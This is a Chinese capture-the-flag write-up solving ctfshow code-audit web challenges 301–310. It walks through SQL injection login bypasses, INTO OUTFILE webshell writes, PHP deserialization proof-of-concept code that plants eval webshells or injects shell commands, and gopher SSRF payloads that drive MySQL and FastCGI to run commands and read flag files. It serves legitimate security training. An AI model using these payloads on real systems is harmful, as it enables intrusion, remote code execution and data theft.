ctfshow web入门 代码审计

20 篇文章 1 订阅
9 篇文章 1 订阅

web301

下载源码后在checklogin.php发现问题代码

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}

sql语句中未进行任何过滤且username可控,但在下边有个strcasecmp函数进行比较,用户名和密码相同才能登陆成功

strcasecmp(string1,string2)
string1 必需。规定要比较的第一个字符串。
string2 必需。规定要比较的第二个字符串。

返回逻辑:

0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2

因此如果我们想成功登录就需要用户名密码相同,返回值即为0,在经过strcasecmp前边的!运算,成功登录,这里就可以用联合查询让username返回1,相等后$_SESSION['login']=1;即可绕过seesion验证进入index.php界面
payload:

userid=1'union select 1#&userpwd=1

此外本题也可用sqlmap直接一把梭

python sqlmap.py -u"http://efad7348-9ec6-4684-9f9e-31f3c5d5d1af.challenge.ctf.show/checklogin.php" --data="userid=1&userpwd=1" --batch --dump

也可以通过写shell方式

userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b

web302

修改的部分:if(!strcasecmp(sds_decode($userpwd),$row['sds_password']))
由上题的userpwd变为了sds_decode($userpwd)
其实sds_decode函数就是把本身的1进行md5加密嵌套变为:d9c77c4e454869d5d8da3b4be79694d3
image-20220124175048474
payload:

userid=1'union select 'd9c77c4e454869d5d8da3b4be79694d3' #&userpwd=1

或者直接shell虽然经过sds_decode()函数的处理,但是他的sql语句已经执行了

userid=a ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"%23&userpwd=b

web303

之前的checklogin.php中多了条判断语句,所以这里的注入点就不可用了
image-20220124182355310
但源码中多了dpt.phpdptadd.php,在dptadd.php中发现了注入点,但有个前提必须登录成功,猜测弱口令admin/admin登陆成功
image-20220124182448297
无过滤的insert注入
payload:

查表名
1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#
查列名
1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())#1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
查数据
1',sds_address =(select flag from sds_fl9g)#

web304

加了全局waf,但上题payload就能打通

web305

在上题的基础上加了waf,所以sql注入就行不通了
image-20220210191745469
在checklogin.php中加了一个反序列化点
image-20220210191930270
并且多了一个class.php,其中有file_put_contents函数可以作为本题的突破点
image-20220210192000173
poc

<?php
class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
echo urlencode(serialize(new user('2.php','<?php eval($_POST[1]);?>')));
?>

在checklogin.php中,对将值传入cookie的user参数中,即可生成2.php
image-20220210192129445
但蚁剑连接后并未发现flag文件,所以猜测flag在数据库中,尝试连接数据库
image-20220210192457936
密码等信息在conn.php中
image-20220210192523592
成功链接后flag就在数据库中

web306

在class.php中发现了file_put_contents()
image-20220211160900352
但需要调用close()方法,所以下一步找一下哪里使用了该方法,在dao.php中发现使用该方法
image-20220211161033635
找到了利用点,现在就需要找一个反序列化入口,发现login.php和index.php里面都有unserialize,但php必须包含dao.php和class.php所以只能使用index.php的反序列化入口传参
poc

<?php
class log{
    public $title='1.php';
    public $info='<?php eval($_POST[a]);?>';
}
class dao{
    private $conn;

    public function __construct(){
        $this->conn=new log();
    }
}
echo base64_encode(serialize(new dao()));

//TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFthXSk7Pz4iO319

账号密码为admin/admin1,登陆后跳转到index.php界面,将payload传给cookie中的user就生成了1.php
image-20220211163926343

web307

上题中的close方法变为了closelog(),所以在dao类中就无法调用了,并且经过全局搜索后dao类中的close()方法也是搜索不到的,所以就要另寻其他利用点了
seay源码审计后发现shell_exec函数
image-20220211193729631
需调用clearCache()方法
image-20220211201545569
在logout.php中会直接调用clearCache方法
image-20220211202117221
而该方法中的config是dao类中的变量,cache_dir是login类中的
image-20220211202403616image-20220211202412619
所以这里需要做的就是修改$this->config->cache_dir的值,从而执行我们的命令
poc

<?php
class config
{
    public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/1.txt;';
}
class dao
{   private $config;
    public function __construct(){
        $this->config=new config();
}}
$a = new dao();
echo base64_encode(serialize($a));
?>

传到cookie中的service访问1.txt得到flag
image-20220211205356868

web308

较上题RCE本题,进行了正则过滤必须是纯字母才能执行命令,所以该点就不能利用了
image-20220212161455463
但又多了checkVersion()和checkUpdate()方法
image-20220212161526874
跟进fun.php查看多了ssrf的利用点
image-20220212161554303
而在config.php中发现mysql数据库无密码,底下又多了url参数可以结合checkUpdate()方法传参,所以猜测本题是打mysql了
![image-20220212161707585](https://img-blog.csdnimg.cn/img_convert/eacfcbcb9fc724ba5bf4d51ec7aad65d.png

并且在index.php中发现反序列化入口,并且会调用checkVersion()方法,进而进行ssrf(注:即使没有登录header跳转之后的代码还能正常执行)

image-20220212162029238
所以本题现在就需要通过dao类和config类修改&this->config和$update_url的值
image-20220212162241803image-20220212162300894根据题目提示,用gopher写shell即可

select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/2.php"

image-20220212163949014
poc

<?php
class config{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
    private $config;

    public function __construct(){
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjA6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzIlMmUlNzAlNjglNzAlMjIlMDElMDAlMDAlMDAlMDEiO319

传参生成2.php,找flag即可
image-20220212164026648

web309

mysql有密码了,通过gopher协议的延迟判断猜测是fastcgi

gopher://127.0.0.1:9000

image-20220212165736629
继续用gopherus构造payload
image-20220212170917480
poc

<?php
class config{
    public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH72%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00H%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
    private $config;

    public function __construct(){
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo1ODc6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlRjYlMDYlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RINzIlMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTA5U0NSSVBUX0ZJTEVOQU1FaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBIJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3Y2F0JTIwL3Zhci93d3cvaHRtbC9mJTJBJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAwIjt9fQ==

传参得到flag
image-20220212170848562

web310

还是打fastcgi,但读取flag文件时,未读取出来,所以寻找一下flag文件所在位置
image-20220212171923512
发现/var/flag
image-20220212171942708
读取后发现读取不出来,猜测该flag是个文件夹,flag应该在其中的文件里,读取其中的文件
image-20220212172117761
image-20220212172059381
发现index.html,读取后得到flag
image-20220212172412789
image-20220212172350846
学习一下羽师傅的另一种思路
读取nginx.conf配置文件

class config{
	public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}

}
$a=new dao();
echo base64_encode(serialize($a));
?>

得到

server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

访问4476端口

<?php
class config{
	public $update_url = 'http://127.0.0.1:4476';
}
class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值